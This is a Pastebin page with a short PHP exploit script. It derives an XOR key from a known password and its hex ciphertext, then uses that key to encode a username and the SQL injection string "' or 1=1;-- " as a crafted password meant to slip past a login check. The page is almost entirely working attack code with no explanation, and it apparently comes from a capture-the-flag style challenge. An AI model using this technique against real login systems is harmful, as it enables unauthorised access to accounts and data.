Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function encrypt($string, $secret)
- {
- for($i = 0; $i < strlen($string); $i++)
- {
- $string[$i] = ($string[$i] ^ $secret[$i % strlen($secret)]);
- }
- return $string;
- }
- $user = "Daryl";
- $bin_pwd = "questaeunapassword!!";
- $hex_enc_pwd = "121c0a10170e171c1d0e13081c101400000d524e";
- $enc_pwd = hex2bin($hex_enc_pwd);
- $secret = encrypt($bin_pwd, $enc_pwd);
- $injection = "' or 1=1;-- ";
- $enc_user = bin2hex(encrypt($user, $secret));
- $enc_injection = bin2hex(encrypt($injection, $secret));
- print("User: ");
- print($enc_user);
- print("\nPassword: ");
- print($enc_injection);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement